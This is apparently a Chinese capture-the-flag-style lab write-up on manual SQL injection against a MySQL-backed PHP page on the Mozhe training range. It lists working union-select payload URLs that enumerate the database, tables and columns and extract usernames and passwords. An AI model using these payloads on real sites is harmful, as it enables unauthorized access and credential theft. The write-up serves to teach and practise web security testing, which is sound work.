墨者靶场 SQL手工注入漏洞测试(MySQL数据库)
-
首先访问链接:可以看到是要找到登陆的用户和密码  -
找到是否有注入点:124.70.64.48:47756/new_list.php?id=1 可以看到显示的页面 3. 124.70.64.48:47756/new_list.php?id=1 and 1=1 页面显示正常  -
124.70.64.48:47756/new_list.php?id=1 and 1=2 页面显示异常 可以判断id是存在注入点的  -
查找数量:124.70.64.48:47756/new_list.php?id=1 order by 204 尝试1234都是正常的,到了5就发现了异常,所以可以确定数量是4 -
手工注入使用union联合查询: 124.70.64.48:47756/new_list.php?id=-1 union select 1,2,3,4 很容易就可以看到页面中的2和3,就可以猜测是这两个地方有注入  -
124.70.64.48:47756/new_list.php?id=-1 union select 1,database(),3,4(将2的地方改成查询数据库试试)发现找到了数据库的名称  -
改3:124.70.64.48:47756/new_list.php?id=-1 union select 1,database(),version(),4 可以看到数据库的版本号了 同理查询数据库用户和数据库类型:可以看到是root用户名和Linux系统
利用information_schema数据库查询:几乎包含所有的表名等信息;
information_schema.tables:记录所有表名信息的表
information_schema.conlumus:记录所有列名信息的表
9.查询表名: 124.70.64.48:47756/new_list.php id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’ 10. 查询表下的列名:124.70.64.48:47756/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’ 11.查询指定数据: 124.70.64.48:47756/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member  124.70.64.48:47756/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1 有两个账号,在最后加limit 0,1 尝试到1,1 2,1最后发现有两个mozhe账号密码 12. 最后成功登录: 
|